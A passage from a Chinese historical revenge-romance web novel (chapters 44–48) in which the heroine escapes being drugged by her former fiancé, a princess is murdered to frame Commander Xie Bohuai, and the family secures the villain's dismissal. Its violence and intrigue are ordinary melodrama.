脑子开始出现嗡嗡声,看到前面的河流,他毫不犹豫地跳了进去。 一刻钟后,猎狗停在岸边“汪汪叫”,没了谢泊淮的气味,猎狗无法追踪。 “没用的东西!”昭云郡主对着手下踹了两脚,前几日,有人给她送了密信,让她在附近等着谢泊淮送上门。她虽然被关在静水庵,但母妃还是有安排人伺候她。 尽管不知道信上内容真假,但有机会抓住谢泊淮算账,她还是带着人偷偷离开静水庵,在附近等了两天一夜。 真把谢泊淮等来了,却让谢泊淮跑了。 “都给我追,不把谢泊淮找到,你们全都得死!”她对谢泊淮痴心一片,结果谢泊淮却逼着父王和母妃送她来静水庵。 不管送信的人有何目的,她现在只想抓住谢泊淮,关在静水庵的禅房里,供她玩个快活! 侍卫们知道主子的暴戾,只能硬着头皮去找人。从主子到静水庵后,更加不正常,他们不敢惹怒主子。 昭云郡主只留下两个侍卫,她眼底都是恨,暗暗发誓,一定要报复谢泊淮。 但她不知道,身后有一行人悄悄靠近。 等侍卫听到异响回头,那群蒙面人已经冲了过来,两个侍卫不是对手,很快把他们杀了。 昭云郡主被溅了一脸的血,吓得大叫,“你们知不知道我是谁,我可是郡主,你们对我动手的话,我父王母妃一定不会放过你们!” “郡主?呵呵。”蒙面人中一人把剑放在昭云郡主的脖子上,“你不过是个蠢货,不过是勾勾你,你就被骗出来了。昭云郡主,你要怪,就去地府和阎王告谢泊淮吧,是他把你害成这样的!” 男人没直接杀了昭云郡主,而是在昭云郡主的脸上划了几下,瞬间皮开肉绽。 “啊!” 昭云郡主放声大叫,但脸上更痛了,还没等她骂出声来,几个蒙面人纷纷动手,砍断昭云郡主的手和脚,连个全尸都没留。 干完这些,蒙面人从怀里丢下一块令牌,塞到了昭云郡主的手里。 令牌上写着“镇府司”三个字,是从谢泊淮那抢来的。 “我们也去追,主子说了,最好是让谢泊淮死在这里。”蒙面人顺着河流往下。 与此同时,河流下游的一处农房里,叶婉宁被灌下一碗药。 周钰的脸上有五条手指抓过的伤痕,头发也散乱了。 “叶婉宁,你跑啊,怎么不跑了?”周钰抓住叶婉宁的头发,“别以为你妹妹跑了,她就能好过。这一路去京城,她们几个女的,指不定就被人卖了。” 抓走叶婉宁姐妹时,周钰蒙着脸,并不怕叶婉华指认他。只是他没想到叶婉华也会跟着到竹林,他人手不够,才让叶婉宁在半路上得了机会逃跑。 叶婉宁嗓子发疼,“你给我灌了什么药?” “当然是春药,你不是高高在上,处心积虑地害我吗?那我就坏了你的名节,让你和我一样声名狼藉,再也没有翻身的余地!”周钰坐在床对面,他并不着急动手,他要看到叶婉宁最狼狈浪荡的样子,狠狠羞辱叶婉宁。 叶婉宁的身子开始发热,落到周钰手里,她宁愿去死。 好在这辈子比前世要好,她已经搞臭周钰名声,不会再让周钰害死全家。 “哈哈。”叶婉宁突然笑了起来。 “你笑什么?” “我笑你无能且无用,周钰,你靠着许竹苓一家的接济,才能从小读书。后来到京城,又是靠叶家帮扶,一路走来,你真是下贱得很。像你这种人,经常也会觉得自己恶心吧?”到了这会,叶婉宁不指望谁来救她了,她要杀了周钰,拉着周钰一起见阎王,这辈子就不亏! 周钰果然被激怒,冲到叶婉宁跟前,抓住叶婉宁衣领往上提,“我想读书上位有什么错?明明我才华横溢,可以有很好的发展,为什么你非要毁了我?若不是马球场上,我看到钱夫人、林夫人和你站在一起十分亲密,我都想不到这是怎么回事!” 原来是这样。 叶婉宁没想到周钰也去了隆玉公主的马球宴会,被周钰看到她和钱夫人等人来往,以周钰的脑子,确实能想到是她出的主意。 但那又如何? 如今的周钰,成了世家眼里最恶臭的存在,不会有高门大户和周钰结亲。 “不是我要毁了你,是你毁了你自己!”叶婉宁大声道,“你得了许家恩惠,就不该吃着碗里看着锅里。又或者,你要上位就演戏好点。结果你想和我成婚,还勾搭着许竹苓,甚至生下孩子。周钰,你把我和叶家算计得死死的,连绝子药都提前准备好了,还问我为什么要毁了你,真是笑话!” “绝子药,你怎么知道?”周钰皱眉。 叶婉宁故意挑衅,手上的簪子用力握紧,“若要人不知,除非己莫为,我就是知道了,所以故意坏了你和钱家的姻缘,我还让人去找了许竹苓。如今你的老家,应该都知道你养外室,被高门看不上了。周钰,你的名声彻底臭了!” “叶婉宁,你怎么敢?我要杀了你!”周钰掐住叶婉宁的脖颈,结果叶婉宁突然抬手,簪子插进他的胸膛。 可惜叶婉宁这会没什么力气,簪子插得并不深,但足够让她有机会喘息。 连鞋都没穿,叶婉宁爬窗逃了出去。 喝下的春药起了药性,叶婉宁的腿开始没了力气,身子越来越热,身后还传来周钰的叫骂声。 宁愿死,都不能让周钰抓到! 叶婉宁拼命逃跑,奈何她中了春药,听身后的脚步声越来越近,她毫不犹豫地跳进河里。 不知过了多久,等她再爬上岸时,好像出现了幻觉,因为她看到谢泊淮在岸边坐着,他双目猩红,像一只蓄势待发的猛虎。 “谢……谢大人?”叶婉宁试着喊了一声,才看到谢泊淮的眼神清明一些,可她自己却越来越热。 周钰说给她下了最烈的春药,要看她求他,最低贱卑微地跪在他跟前。到这会,她才知道周钰没有夸张,她渴得厉害,理智不再是第一位。 第44章 天为被,地为床 秋风吹起,却带不走叶婉宁身上的燥热。 “谢大人?” “嗯?” 有了回应,尽管极力克制,她还是倾身过去,手腕突然被人猛地拽住。 “你是谁?” “我是叶婉宁。” “婉宁?” 冰与火在瞬间触碰,游龙脱壳而出,戏于山间草木之中。天为被,地为床,甘泉交替,猛烈而黏腻,不知疲倦地探索和索求。 当理智渐渐回归,叶婉宁的身上多了大大小小的红印,身上的人喃喃低语,似乎意识不清,但他肩头的牙印出了血,她红着眼流下泪水。 是谢泊淮。 不是周钰。 直到谢泊淮没了动静,重重地压下来,叶婉宁大口地喘气。 “谢大人?” 喊了几次都没反应,叶婉宁推开谢泊淮,看着冰冷的溪水,她愣了愣,缓缓走进水中,试图洗去谢泊淮留下来的味道。 不知过了多久,当叶婉宁听到树丛里有动静,忙躲到石头后,听到徐达的声音,才忍不住哭着跑了出去。 “大姑娘!” 徐达惊喜道,“可算找到您了,你怎么样,没事吧?” 叶婉宁藏起眼底的焦虑,摇了摇头,“我刺伤了周钰,三妹妹和云芝她们呢,他们怎么样?” “就是遇到了三姑娘,我们才顺着这个方向找来,您没事就好。周钰在哪?我去帮您找他算账!”徐达气愤要去找人,还是叶家管事的拉住他,说让大姑娘先上马车,别被人看到了。 叶婉宁的思绪已经乱了,上了马车过一会儿,才想到谢泊淮还在河边。 在她纠结怎么办时,听到有人骑马而过,看到是青山带着人,知道谢泊淮会没事,才靠着马车落泪。 事已至此,她谁都不能说。 既然不是周钰,就能活下去。 好好活着,才是最重要的。 此时的周钰找不到叶婉宁,知道事情没了转机,随便包扎伤口,带着风染往感业寺去。 他要赶在叶婉宁回到感业寺之前到,一路快马加鞭到感业寺,他下了马后,直接问叶家的禅房在哪。 僧人拦着周钰,“这位施主,叶家今日来的都是女眷,不方便见外男。您有什么事,小僧会帮您转达,如果叶家同意见您,小僧在带您过去。” 周钰等不及了,“我说我现在就要见叶家人,你听到没有?” “施主,您别在这里胡闹。”僧人皱眉。 周钰却往前闯,他的动静惹来不少人围观,得知他要找叶婉宁,有些知道周钰和叶婉宁前事的,不由跟着去看热闹。 一路闯到禅房外,不确定叶家是哪间,周钰着了魔一样去敲门,结果被一家人给赶了出了。 “你这人怎么回事,我们可不认识,你怎么直接往里面闯?”小丫鬟拦着周钰。 周钰这会只想找到叶家,坏了叶婉宁名声,毕竟叶婉宁中了春药,没和人欢好是不可能好的。连对不住都没说,周钰又继续敲门。 他这一举动,让这个院子的人发了火,喊来僧人把他赶出去。 寺庙里的武僧过来拉住周钰往外走,周钰被两个武僧拖着,眼看就要被拖走,他不顾形象地大声喊了起来,“叶婉宁,你是心虚了吗?还是你叶婉宁被男人掳走,你们叶家不敢出来见人?” 这话一出,所有人都很惊讶,同时好奇地去搜寻叶家人的踪迹。 他们中有人看到叶家人来上香,周钰闹成这样,如果叶家人不出面,还真可能是心虚。 这时林氏带着人出来,她黑着脸,“周翰林,你是得了失心疯吗?我们两家早就恩断义绝,你竟然到寺庙里纠缠,你不要脸,我们还要脸。我妹妹好好的一个姑娘,你却当众坏她名声,你再纠缠不清,我们叶家拼了全部家当,也要去参你一本!” “是你们心虚了吧?有本事你让叶婉宁出来,我可是亲眼看到她被掳走!”周钰用脚蹬地,嗓子喊破音了。 有人劝道,“是啊叶大奶奶,让你家大姑子出来见见人,不就证明是周翰林胡说八道。” 大多数人都本着看热闹的心态,反正不关他们的事,而且叶婉宁不出来,不就是心虚么。 周钰的胸口疼得他头皮发麻,越疼就越提醒他是叶婉宁伤了他,喊得更加厉害,“我看你们叶家就是心虚了,什么书香世家,名声也不过如此。” 他的名声坏得不能再坏,此番行动,不怕再被人议论。 “周钰,你真的得失心疯了。” 就在这时,叶婉宁从禅房里款款而出,衣裳整洁,发髻妆容都无可挑剔,哪里有被人掳走的痕迹。 她走到大嫂边上,鄙夷地看着周钰,“我好端端地在禅房里休息,你非要来污蔑我被人掳走,是何居心呢?” 众人看叶婉宁神色如常,而且是从禅房出来,再看周钰披头散发,越发觉得是周钰疯了。 “不可能,怎么可能,我明明……” “明明什么?”叶婉宁呛声质问,“你说啊,我看你还打算怎么污蔑我?” 周钰不敢置信地转了转眼珠,他亲自给叶婉宁灌了药,叶婉宁却好端端站在这里。他清楚自己没有疯,所以叶婉宁一定是和男人睡了。 周钰哈哈大笑起来,“叶婉宁,你已经没了贞洁,你怎么好意思站在这里。别以为我不知道,你都干了什么事!” “来人啊,堵上他的嘴,把他打到府衙去!”林氏听得耳朵都红了。 围观的人里,不少夫人小姐,听到这种话,一个个皱了眉。姑娘家名节最重要,周钰今日当众说这些胡话,简直不给叶婉宁生路。 叶家的小厮堵住周钰的嘴,狠狠地把周钰打一顿。 今日这事,不能就此罢休,林氏让叶婉宁姐妹先回家,她带着人和周钰去府衙。 “我陪大嫂嫂一块去。”叶婉宁深吸一口气,“事已至此,我也不用在乎旁的了。我得去府衙狠狠咬死周钰。” 林氏看叶婉宁如此,心疼不已,知道从今往后,叶婉宁在婚事上,会更加艰难了。 世人便是如此,尽管他们会说周钰得了失心疯,但还是会指责叶婉宁,各种揣测,不好听的话叠加到叶婉宁身上。这么一来,哪里有什么好人家会来提亲? 明明叶婉宁是三个小姑子里最拔尖的,处处都在京城里排得上号,偏偏遇人不淑,被周钰牵连成这样。 既然如此,林氏只能同意了。 叶婉玉也想同行,被林氏拒绝了,“你陪三妹妹先回去。”三妹妹同样受到惊吓,不好再折腾。 林氏带着叶婉宁一同去了府衙,她们刚到府衙外,叶明岳匆匆赶来,对着周钰便是两拳,直接打掉周钰的一颗门牙。 此时的周钰口吐鲜血,脑袋里嗡嗡地响,没来得及回过神时,又被叶明德打了两拳在肚子上。 叶家兄弟再没了读书人的文雅,叶明岳红了眼,“让你污蔑我妹妹,你他么个人渣,老子早就该弄死你!” 斯文如叶明德,也踹了周钰好几脚,直到府衙的人出来阻拦,他们才停下动作。 最后,周钰是被抬着进府衙的。 “大人,周钰这厮诋毁我叶家名声,还请大人做主。”叶明德第一个道。 叶明岳立马附和,“是啊大人,我叶家百年清誉,全被周钰毁了。他得了失心疯一样,已经不再配当翰林院士!” 京兆尹头疼地看着堂下的人,特别是周钰,好端端地去感业寺闹什么?说了那么些胡话,难不成真得了失心疯? 之前周钰和钱尚书等人交好,现在周钰只出入右相府里,京兆尹觉得周钰糊涂,但不想得罪右相,思来想去后,“周钰毕竟是朝廷命官,此事本官会上书皇上,由皇上来决断。” 叶明德为官几年,瞬间听懂京兆尹的意思,“多谢大人,我也会上折子给皇上,希望皇上能还我们叶家一个公道!” 看向地上的周钰时,叶明德已经在看一个死人。 本来还想出份力的叶婉宁,从头到尾没能说上一句话,两个哥哥争先抢后地替她说话。 回去的路上,林氏往叶婉宁那瞥了好几次,犹豫再三后,等回到叶家,才纠结地去看叶婉宁,“婉宁,现在没有外人,你和我交个底,周钰说的都是假的吧?” 第45章 处罚 林氏问得很含蓄,但叶婉宁一下就听明白了。 叶婉宁不是不放心大嫂,而是这种事说给大嫂听,只会多一个人替她担心。这个事,只要她不说,谁都不会知道。 连谢泊淮都是迷迷糊糊,她要死不认,谁又能看出什么? 反正她没多想嫁人,如今二哥哥把铺子经营得不错,以后她自己有银子,寻个理由自己去过日子,也是可以的。 叶婉宁浅浅地笑着,“周钰那是破罐子破摔,才会诬赖到我身上。他费尽心思谋划,却竹篮打水一场空,心中恼怒,一心想要坏我名节乱说话。我伤了周钰后,一路逃走,本来我打算跳河里死了也干净,但运气好,给我冲到了岸边。” “呸呸呸,不许说死字。”林氏不让叶婉宁说了,“没事就好,今日办事的都是家中的家生子,他们不会乱说话的。林家那里也是我母亲的心腹,你好好养着,别想太多,你大哥哥肯定会为你讨回公道。” 叶婉宁点头说了好,等大嫂出去后,身上才卸了力。 她太累了,一直强撑着精神,看到云芝眼睛肿了,让她先去休息,自个儿躺下。 脑海中都是谢泊淮赤裸的样子,他喃喃自语,但叶婉宁自个儿都是混乱的,听不清谢泊淮在说什么。 他怕是,把她当成他的心上人了? 眼泪无声落下,叶婉宁没有睡意,一直侧身躺着。 而林氏出了屋子,看到两位妹妹等在门口,对她们做了个噤声的手势,“今儿个别去叨唠你们大姐姐,让她好好休息。” “大嫂嫂,大姐姐怎么样?”叶婉华哭了好几回,大姐姐得了机会让她跑,结果大姐姐被周钰抓住。周钰今日在感业寺疯了般的骂人,不用想,都知道大姐姐吃了苦头。 “看着是还好,但我知道她在故作坚强。”林氏叹了口气,“婉华,平日里你话最少,也最乖巧,今日的事肯定吓到你了,你快回去吧。” “我能帮忙做什么吗?”叶婉华静不下心来,她也想帮帮忙。 林氏说不用,叶婉玉也说,“三妹妹别操心了,万事有我们。” 叶婉华紧紧抿着嘴唇,她觉得自己太没用了,什么忙都帮不上。明明也是家里的一份子,但好像有什么事的时候,大家都不会想到让她出力。 林氏和叶婉玉都在担心叶婉宁,没注意到叶婉华的自责。 三人各自分开,回去之后,林氏和夫君说了叶婉宁的情况。 次日一早,叶明德便上折子弹劾周钰,请求皇上做主。 钱家和林家也一同上折子,姜御史更是直言,“为官者应以身作则,周钰疯疯癫癫大闹感业寺,实在不适合当个表率。他在京中名声恶臭,却还一直稳居翰林院,也不知是谁在护着他的前程。” 这话直指右相,但这会,右相已经不适合出来帮周钰说话了,毕竟谁站出来,就是谁不打自招。 皇上本来对周钰印象不错,读书和能力都不错,却是个不清楚的。好在他还没重用周钰,一个小小的翰林,既然得了失心疯,便罢免他的官职,不准他再入仕。 周钰汲汲营营二十几年,为的就是能手握重权,让所有人都仰望他。 得知皇上连听他辩驳的机会都不给,周钰被放出府衙时,冲着天一会大笑,一会大哭。 “噗!” 吐出一口老血,周钰晕倒过去。 不远处,叶明岳心下爽快,“大哥,这都是周钰的报应,咱们毁了他最想要的东西,这下他真的要疯了。” 叶明德冷哼道,“他再惨,也弥补不了婉宁的损失。他这么一闹,就算婉宁出来自证清白,别人也会恶意揣测婉宁是不是和周钰牵扯不清,把他们之前订婚的事再次提起来。” 说到这个,叶明岳就来气,“谁说不是,京城里谁不夸婉宁才貌双全,现在好了,连个提亲的都没有。周钰这个王八蛋,他最好是真的疯了,不然我不会放过他!” “你别冲动,周钰会有他的报应,你现在要做的,是好好准备当新郎。”叶明德转身上了马车,周钰已经被人抬走,他眼底青黑,昨晚一夜没睡着,“姜御史和我说,已经给你找了名师,成亲后你便去拜师读书。” “大哥,我……” “眼下家中的情况,你又不是不知道,咱们家就你和我能撑着,别再说不想读书的话。明岳,你也该懂事了。”叶明德很累,他撑着这个家,一刻都不敢松懈。从内到外都非常疲惫。 叶明岳咽下了准备好的话,眉头紧锁。 马车带着他们回到叶家,叶明岳有心事,这个人蔫蔫的。 叶明德则是找林氏问了叶婉宁的情况。 “人看着倒是还好,该吃吃,该喝喝,婉玉她们早上过去,姐妹几个还是有说有笑。”林氏稍微松口气,“婉宁多好的一个人,周钰这事闹得,真让人生气。他也算遭报应了,费尽心思想上位,结果什么都没得到。” 叶明德说是,“周钰被罢官,姜大人功不可没,若不是二弟和姜家的这门婚事,姜大人不会那么卖力。等二弟成亲时,你好好谢谢姜夫人。” “我懂得的。”林氏最近经历的事多了,渐渐有了主见。看着夫君沧桑许多,她摸了摸小腹,还是过些日子,确定了再说。 叶明德派人去和叶婉宁说了周钰的结果,叶婉宁淡淡地应了一声知道了,转头叫来徐达,“你去找周钰的房东,把周钰被罢官的事说给他听,让他今日就把周钰赶走。” 云芝给徐达拿了银子,给了钱,别人才会帮叶婉宁办事。 “大姑娘放心,我一定让周钰狼狈至极!”徐达带了主子的意思出门。 此时的周钰,被大夫灌了一碗苦药才醒来,但想到自己此生翻身无望,再一次气到吐血。 周母在一旁看得着急,“我的儿啊,你可别吓娘!” 第46章 红鸾帐下 “为什么?” 周钰不明白,他到底输在哪里。 叶婉宁怎么知道绝子药的? 他明明只和许竹苓说了,但许竹苓绝对不可能和叶婉宁说。 他想出人头地,有什么错? 周钰喝不下水,只是一遍遍地问为什么。 周母看得心慌,守在周钰身边掉眼泪,结果房主来了,让他们立刻搬走。 “凭什么?我们可是交了租金的!”周母拿出骂街的架势,堵在门口,不肯让人进来。 房主丢出银子,“租金还你们就是,你儿子惹皇上不快,我可不敢留你们。你要不走,我就动手了。” “我看你们谁敢?”周母张开手,但她养尊处优几年,哪里是一群男人的对手,那些人把他们的东西丢到街上,还把周钰给抬了出来,周母大叫没天理,“谁来帮帮我们啊,老天爷,你这是不给我们留活路啊!” 周钰以前是翰林老爷,附近居民看到他,都会给他行礼问好。现在他却像乞丐一样被丢出来,谁不高兴了,都能朝他吐口唾沫。 而这时,许竹苓正好带着儿子赶到,不明所以地问怎么了。 “那些黑心的,看你表哥没了官职,就要把我们赶走。”周母放声大哭,到了这会,也不怕家丑外扬了。 听周钰丢了官职,许竹苓像被雷劈了一样,“怎么会这样?” 为什么会这样? 许竹苓不理解。 为了表哥的婚事,她离开时,闹都没闹。想着等表哥站稳脚跟,她还有机会回来。 结果表哥没了官职? 许竹苓把这辈子的希望,都寄托在表哥身上,结果竹篮打水一场空,她受不了刺激,两眼一黑晕死过去。 枫哥儿看到母亲晕倒,哇哇大哭。 一时间,更多人看热闹了。 最后周母哭哑了嗓子,见没一个人帮忙,才带着一家子,找了一处破房子歇歇。因为他们去客栈,客栈也不收他们。 目前周家便是这么个情况,叶婉宁很满意现在这个结果,周钰最想封侯拜相,她便彻底绝了周钰的希望。 周钰的事暂且放一放,叶明岳的婚期到了。 一大早,叶明岳便去姜家迎亲,叶婉宁带着妹妹们在新房等着。 等新娘子到了,叶婉宁帮忙挡着看热闹的人,待新人行过礼后,才端着热茶给姜姒。 “前头在吃席,二嫂嫂也吃点东西垫垫肚子,要等的时间还长着呢。” 姜姒说不合规矩。 “规矩是死的,眼下没有旁人在,谁也不知道。自个儿过得舒服,才是最重要的。”叶婉宁语音轻柔,“二嫂嫂不用太拘谨,叶家没那么多繁文缛节。你也是知道的,二哥哥更不是个守旧的人。” 姜姒自然知道夫君为人,拿起一块糕点,小口小口地含着,“谢谢你,婉宁。” “咱们是一家人,不用与我可是。”叶婉宁安顿好姜姒,才去外边见客。 有了姜家这门姻亲,来贺喜的人多了不少,叶婉宁和大嫂忙活一整日,直至天黑,才能回去休息。 而新房里,叶明岳被人扶着进了屋,掀起盖头时,看到姜姒红成苹果的脸颊,眼底的笑意到达最深。 “夫……夫君醉了?” “没有醉,我不装醉,金自观那些臭小子,哪里肯放过我。我可聪明了,应付他们小意思。” 姜姒抿嘴笑了,“是,夫君聪明着。” 叶明岳不大好意思看姜姒,坐下喝了两杯茶,两个人隔了一些距离,这会都不知道说什么好。 姜姒起身卸了珠钗,一边道,“我出嫁前,母亲再三叮嘱我,让我往后督促夫君上进,远离损友。不过我听婉宁妹妹说过,眼见为实,耳听为虚,夫君能否与我说说,你是怎么想的?” 嫁给叶明岳之前,姜姒便知道叶明岳是个不爱读书的。 夫妻过日子,最重要的是互通心意,若是两人想走的不是一条路,往后的日子难过好。 “我的朋友自然都好,他们只是不会读书,又不曾做伤天害理的事。”叶明岳道。 姜姒想了想,确实是,“对以后,夫君有什么打算?” 听到这话,叶明岳以为姜姒是来劝自己读书的,苦着脸道,“岳丈大人说给我请了名师,我……” 他说不下去了,能和他岳丈交好的,必定是一样的老夫子。 大哥说已经答应了,他正愁这个事。 “夫君若是不愿意,我可以和父亲说。”姜姒并不在意这个了,“日子是你我在过,如何过,怎么过得自在,得以我们的意思为主。我不求大富大贵,只选家人和睦,日子顺遂。” “真的吗?”叶明岳的眼睛瞬间亮了,“我是真不愿意读书,官场上有我大哥就行,何必再加一个我。我与你说实话吧……” 他说了最近做生意的事,眉飞色舞地和姜姒描述,只一眼,姜姒便知道这是叶明岳的心愿。 母亲和她说,这门婚事未必是最好的,但日子是自己经营。既然选择嫁给叶明岳,就不要在意虚的,她没有公婆孝敬,下边的小姑子都好说话,已经省去不少麻烦。 他们这一聊,便到了深夜。 直到外边的嬷嬷看不下去,敲门提醒要不要水,叶明岳才红了脸,瞬间哑口。 姜姒咬着牙,想了想,还是主动上前,“我替夫君更衣吧。” 红鸾帐下,身影翻滚,都是新人初尝情事,磕磕绊绊地到结束。 屋外姜家的婆子和丫鬟,听到偶尔的喘息声,这才松了口气。原以为姑爷会不满意,现在看来,还是不错的。 次日去请安时,小夫妻迟了点,姜姒心里着急,姜家规矩重,结果她头一日便起迟了。尽管叶明岳说没关系,她还是拉着叶明岳一路疾走。 等他们到的时候,祖母都坐好了,姜姒越发不好意思。 叶老夫人看着孙子成家,娶的还是书香门第人家的姑娘,别提多高兴,小夫妻迟就迟一点,她笑着给了见面礼,“祖母没有别的指望,只要你们和和睦睦,往后有商有量,恩爱到白头就行。” 姜姒害羞地接过封包,叶明岳则是大大方方地说了好。 接着,姜姒给大哥大嫂敬茶,又给了弟弟妹妹们礼物,才算结束。 叶婉玉急着找姜姒玩,但被叶婉宁拉住,“你还真是小孩心性,这两日别去打扰二哥二嫂。” “行吧行吧,我知道啦。”叶婉玉转而去找叶婉华说话。 叶家气氛轻松,一家人坐在一块,有说有笑,就是成姨娘看到叶明岳成婚了,又担忧起叶婉玉来。 只是成姨娘一开口,就被叶婉玉堵了回去,“姨娘着什么急,大姐姐还没定下呢。”她没别的意思,按照规矩,也该大姐姐先出嫁,再是她。 结果刚说完,屋内静了下来,叶老夫人微不可见地叹了口气,还是叶婉宁自己出来打圆场,“好的缘分总会迟一点,说不定老天爷给我准备了一门极好的亲事。今日天气好,不如我们去园子里吧?” 叶婉玉立马说了好,叶婉宁挽住妹妹们到园子坐下。 不过茶还没上来,管事的来找林氏,说昭云郡主死了,死在京郊,被人大卸八块,手里紧紧握着谢指挥使的令牌。 第47章 动刑 这几日,叶婉宁特意忽略了谢泊淮的消息。 于她而言,那日的事是羞耻,且让人难接受的。 回到叶家后,她没特意去打听,更不会去想谢泊淮有关的事。 现在听昭云郡主死了,叶婉宁非常震惊,“她不是被惠王送去静水庵,按理来说,惠王派了守卫跟随,怎么会死在京郊。” 还被大卸八块。 谁会那么恨昭云郡主? 好像京城里,有非常多人恨昭云郡主,谁又有这个本事呢? 不会真的是谢泊淮吧? 管事的说不清楚,“皇上大怒,已经派人把谢指挥使抓起来审问,惠王和王妃更是哭到殿前。这些都是外边人说的,因为府衙正在到处抓人。那日大姑娘也……也曾外出,不知道会不会到咱们叶家问话。” 管事说得含糊,但大家都明白了,昭云郡主身份在那,却被人泄愤杀了,皇上肯定要彻查。 现在矛头指向谢泊淮,以前是谢泊淮抓人审问,轮到谢泊淮被审,惠王那肯定不会放过他。 至于叶婉宁的事,外边人是不知道她被掳走过,但以防万一,府衙真查到蛛丝马迹,叶婉宁被掳走的事就暴露了。 众人的心都提到了嗓子眼,林氏眉头紧皱,“我回林家一趟,让我母亲去打听如何了。” 叶婉宁却抓住大嫂的手,“我们能想到的事,林夫人肯定能想到,我相信她的为人和手腕,林家不会走漏消息。现在外边是草木皆兵,谁有什么举动,说明谁心虚了。大嫂嫂,还没乱到我们这里,静观其变吧。” 朝中的事,叶婉宁记得不多,她前世活在内宅,周钰又不会和她多说。只知道一些大方向的事,如今太子和惠王斗得正凶,指不定是有人要嫁祸给太子,同时拉谢泊淮下水,好一石二鸟。 林氏坐不住,光是想想,她就觉得可怕。 叶婉玉还淡定点,“真找到我们,咬死不认就是。周钰疯疯癫癫,没人会信他说的话。” “是这样,我们只能说不知道。”叶婉宁深吸一口气,想到谢泊淮的情况,不由蹙眉。 不过她越发觉得不是谢泊淮,那日谢泊淮神志不清,他或许会杀人,但不会把人大卸八块。 谢泊淮不是那种人。 而且落下令牌,太像嫁祸的手段了。 此时的谢泊淮,被绑在刑架上,没穿上衣,露出紧实匀称的肌肉。 “你们再怎么问,我还是那句话,我没杀昭云郡主。”谢泊淮被冷水泼醒,抬头时,眼神阴鸷,“孙浩,你是当狗当爽了,现在要报复我是吧?” 孙浩是京兆尹,皇上把这件案子交给他办,让他五日内查出真凶,“昭云郡主的侍卫全死了,包括她身边的丫鬟,一个活口都没留。试问,全京城谁最讨厌昭云郡主?又是谁,这段日子一直在和昭云郡主作对?” “和她作对的是我,最讨厌她的可不一定是我。孙浩,你还是没长脑子。”谢泊淮冷冷开口,“你得搞清楚,昭云郡主是被惠王送去静水庵清修的,她为何会离开静水庵,是谁引她去的?你弄不清楚,所以想对我屈打成招,但你的这些手段,比镇府司弱多了。” 他早想到其中蹊跷,追他的两拨人明显不同,看来是有人以他为诱饵,才把昭云郡主从静水庵引出去。 孙浩冷笑,“谁说我不清楚,在静水庵里,我们找到你给昭云郡主写的信。你明知道昭云郡主对你有心思,故意这么做,好把人带到郊外泄愤。” “说你蠢,你还真的蠢,我谢泊淮真要杀一个人,会留下这么多马脚吗?” “谢泊淮,你别太嚣张,你的好日子到头了!”孙浩说不过谢泊淮,抢过狱卒手里的鞭子,狠狠打向谢泊淮,谢泊淮却一声不吭,仿佛不会疼一样。 谢泊淮的身上,红了一大片,他的额头冒出汗珠,“那你就这么去回皇上,反正证据确凿,何需我的口供?” “别以为我不敢,你等着吧,平日里谁都怕你,这次你沦落至此,谢家人一声不发,你身边那两个小厮倒是义气,被打个半死,还是不肯说一个字。”孙浩早就看谢泊淮不爽,加上有人和他打过招呼,这次的事,一定要让谢泊淮付出代价。 离开地牢,孙浩带着正剧进宫。 在宫门口,他遇到刚出宫的惠王和惠王妃。 惠王妃面容憔悴,问审理如何。 “目前的情况,就算谢泊淮不认,但所有证据都指向谢泊淮。您也知道,只有谢泊淮的事,才会让郡主那么上心。”孙浩特意提到最后的话。 惠王妃咬着牙,“谢泊淮真该死!”看到女儿的尸首时,她悲愤到说不出话来,到底是什么仇什么怨,竟然砍断女儿手脚,还划破女儿的脸。 惠王却没那么大情绪,“孙大人打算如何与父王禀告?” “如实禀告。” 惠王嗯了一声,转身往马车走去。 惠王妃随后才上马车,“这次咱们,绝对不能放过谢泊淮,他让我们送昭云去静水庵还不够,竟然虐杀昭云。那可是捧在手心里长大的孩子,若是我们答应谢泊淮,让昭云继续留在府里,就不会有这种意外了。” “蠢货,我说昭云像谁,原来是和你一样蠢。”惠王对昭云的疼爱,早就被昭云消磨殆尽,现在更多的是愤怒。 他是亲王,竟然有人敢虐杀他的女儿? 看王妃面露不解,惠王连解释都是不耐烦语气,“谢泊淮能到今天的位置,做事就不可能出那么大纰漏。越是像他做的,越不可能是他。孙浩一直是个京兆尹,也就这点本事了,你以为父皇是真要孙浩审谢泊淮吗?” “不然呢?” “父皇年纪大了,对我们这些儿子都有戒心。而谢泊淮是他手里最好用的刀,他老人家是要孙浩查清楚,还谢泊淮一个清白。但有人按捺不住,想要谢泊淮死,孙浩得了命令,自然对谢泊淮严刑逼供。”说到这里,惠王冷笑起来,“等着吧,今日谢泊淮在孙浩手中吃的苦,来日谢泊淮都会加倍要回去。” 惠王妃还是有些疑惑,不过确实是这么个道理,“不是谢泊淮,又是谁?”她一定要为女儿报仇! 说到这个,惠王的脸黑得可怕,“我也想知道,谁那么大的胆子!” 第48章 替罪羊 大殿里,孙浩呈上所有证据,“皇上,微臣已经查了一天一夜,虽然谢泊淮抵死不认,但所有证据都指向谢泊淮。您看,是不是该有个定论了?” “定论?哼。” 堂上的人头发斑白,一双眼睛依旧锐利,“孙浩,你要朕如何定论?给谢泊淮定什么罪名?” “依照我朝律法,谢泊淮谋害皇孙,应该立即处死!”孙浩道。 “我看处死的应该是你,废物一个!”皇上甩下手中的折子,吓得所有人跪在地上,“谢泊淮真要杀昭云,直接动手就好,兜兜转转还留下自己的令牌,你以为谢泊淮的脑子白长的?朕是老了,但还不至于太糊涂,朕再给你一个机会,谁要谢泊淮死,又是谁杀了昭云,你查不清楚,就去和昭云作伴吧。” 一番话听下来,孙浩的后背已经湿透了。 皇上竟然那么信任谢泊淮? 难怪主子要谢泊淮死,不然有谢泊淮在,很多事都不能成。 孙浩出宫时,额头还在冒汗。 “这不是孙大人吗?” 孙浩一路都在想自己的事,没注意到前方来了什么人,抬头看到是皇太孙等人,赶忙行礼。 “你这是从皇爷爷那来?”皇太孙几兄弟,刚从太学出来。 “回太孙,是的。”孙浩起身后,不写痕迹地扫了眼,除了皇太孙。其余几位皇孙都在。 其中惠王的儿子李涛第一个站出来,“我妹妹的事,你查得怎么样了?” “回世子,本来是有些头绪,但皇上任有疑虑,还需再查。”孙浩思虑再三,最后道。 “皇爷爷有什么疑虑,不是说谢泊淮的手信都找到了?”李涛情绪激动,一想到妹妹被分尸的样子,他恨不得亲自去天牢审问谢泊淮。 “世子,事情没查清楚之前,下官不好多说的。”点到为止即可,孙浩现在,最希望有人能先动手。 看李涛还要追着问,皇太孙开口,“皇爷爷自有决断,还是让孙大人先回去,免得耽误他办事。” 